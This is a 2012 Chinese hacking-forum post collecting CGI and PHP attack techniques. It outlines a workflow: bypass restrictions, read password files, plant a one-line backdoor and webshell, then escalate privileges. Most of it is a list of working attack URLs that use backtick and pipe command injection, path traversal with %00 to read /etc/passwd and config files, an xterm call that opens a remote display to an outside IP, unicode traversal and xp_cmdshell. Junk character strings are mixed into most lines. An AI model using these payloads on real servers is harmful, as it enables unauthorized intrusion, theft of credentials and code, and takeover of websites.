找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2449|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
9 V6 k6 @& Q, a' [! Ocookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
# L% t! g( m. G' A  J/ Q感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
. p7 w0 A, Y* l$ t. y& a+ U注“  ! r+ ?4 h6 J# R8 z7 @& |2 I. J; a5 {
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
: Y& B2 u* J- Q! O6 S4 S以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  ( i0 D9 X/ k' T; H1 c- x
8 f. [/ h' ~, [6 M, r$ P
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
' `  g2 s5 }& M) z" rhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  5 ~& m5 V$ q* z5 X! D3 S
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  4 B, {/ r! i8 T5 F9 \
http://target.com/cgi-bin/home/news/sub.pl?`id`  
1 Z' L* R5 y+ }8 @% g, f0 Whttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
0 ]6 B* I& a( uhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
8 x/ T+ b$ V; M  v+ f! p+ u9 E! {' c9 P0 |% A3 m
http://target.com/test.pl;ls|  
- ~6 ^: H& E" x5 Z. qhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
8 T; ?% w' t* o+ X8 D% x+ ghttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
- ~7 R; V% _1 E' X4 p$ g  Dhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
) |7 L2 P: D( t6 Y! \5 @比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  ; c: _- N0 M# x$ D! q' j( f' m
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  , s  @/ V' Q1 Z; w& g: x

2 x' z3 h5 r* b  Shttp://target.com/test.pl?&........ /../../etc/passwd  
- I7 f: g8 [8 ]+ x: l2 q
, C0 s1 B+ @1 b5 r1 Khttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  7 H5 I5 x! F: H# p
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
2 J7 z% R/ `' F7 r6 ohttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  5 {+ T* ?; q& V4 R

8 {6 P8 i! |3 ahttp://www.target.org/show.php?f ... /include/config.php 查看php代码  
1 c& ~5 a4 I" b8 ohttp://www.target.org/show.php?f ... ng/admin/global.php  
, R& M/ d" r* G% U: C; R( l* v
  W1 ~* E- `5 c3 P' Pemm和ps的一句话
: ~3 f" V1 n$ A0 A4 K  Y( Q# C% U4 j
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
2 \7 b  P3 U1 T% ^( l8 _5 u7 ?" V( X; D) [+ z! h" o4 S# X
>bbb%20|  
5 ^" |5 ?) M- O
  Z5 Y( k/ H5 j3 W  qhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  8 g; H' a) H/ X% D. K

! |2 D. M: L9 i9 Thttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  9 F2 j) w; ?/ g. S
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  % u- P6 [9 a& V$ I) c/ H! l# i
1 d! J& Q, V  k  k! ]
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  + [' m, d. ]) _6 u9 L7 K7 P
http://target.com/index.html#cmd.exe  
1 R, x' y# |! h  n5 Phttp://target.com/index.html?dummyparam=xp_cmdshell  9 U2 h3 p' F) v" {. V  z$ g- |( O
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  * i' }, Y1 N+ L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表